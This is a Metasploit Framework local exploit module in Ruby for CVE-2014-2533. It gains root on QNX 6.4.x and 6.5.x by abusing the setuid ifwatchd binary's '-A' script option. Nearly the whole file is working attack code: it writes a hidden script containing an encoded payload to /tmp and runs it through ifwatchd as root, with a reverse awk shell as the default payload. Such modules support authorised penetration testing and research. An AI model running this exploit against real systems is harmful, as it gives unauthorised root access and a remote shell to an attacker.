metasploit-framework/modules/exploits/qnx/local/ifwatchd_priv_esc.rb

114 lines
3.5 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Linux::Priv
include Msf::Post::File
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ifwatchd Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on QNX 6.4.x and 6.5.x
systems by exploiting the ifwatchd suid executable.
ifwatchd allows users to specify scripts to execute using the '-A'
command line argument; however, it does not drop privileges when
executing user-supplied scripts, resulting in execution of arbitrary
commands as root.
This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
and 6.5.0 SP1 (x86).
},
'License' => MSF_LICENSE,
'Author' => [
'cenobyte', # Discovery and exploit
'Tim Brown', # Independent discovery
'bcoles' # Metasploit
],
'References' => [
['CVE', '2014-2533'],
['BID', '66449'],
['EDB', '32153'],
['URL', 'http://seclists.org/bugtraq/2014/Mar/66']
],
'DisclosureDate' => '2014-03-10',
'Platform' => 'unix', # QNX
'Arch' => ARCH_CMD,
'SessionTypes' => %w[shell meterpreter],
'Targets' => [['Automatic', {}]],
'Privileged' => true,
'Payload' => {
'BadChars' => '',
'DisableNops' => true,
'Space' => 1024,
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'gawk generic'
}
},
'DefaultOptions' => {
'WfsDelay' => 10,
'PAYLOAD' => 'cmd/unix/reverse_awk'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)
register_advanced_options([
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
])
end
def ifwatchd_path
'/sbin/ifwatchd'
end
def base_dir
datastore['WritableDir']
end
def check
return CheckCode::Safe("#{ifwatchd_path} is not setuid") unless setuid?(ifwatchd_path)
CheckCode::Detected("#{ifwatchd_path} is setuid")
end
def exploit
if !datastore['ForceExploit'] && is_root?
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
end
fail_with(Failure::BadConfig, "#{base_dir} is not writable") unless writable?(base_dir)
script_path = "#{base_dir}/.#{rand_text_alphanumeric(10..15)}"
print_status('Writing interface arrival event script...')
cmd_exec "echo '#!/bin/sh' > #{script_path}"
cmd_exec "echo 'PATH=/bin:/usr/bin' >> #{script_path}"
cmd_exec "echo 'IFWPID=$(ps -edaf | grep \"#{script_path}\" | awk \"!/grep/ { print $2 }\")' >> #{script_path}"
exp = payload.encoded.gsub('"', '\"').gsub('$', '\$')
cmd_exec "echo \"#{exp}\" >> #{script_path}"
cmd_exec "echo 'kill -9 $IFWPID' >> #{script_path}"
register_file_for_cleanup(script_path)
cmd_exec("chmod +x '#{script_path}'")
print_status("Executing #{ifwatchd_path}...")
interface = 'lo0'
cmd_exec("#{ifwatchd_path} -A '#{script_path}' -v #{interface} >/dev/null & echo ")
end
end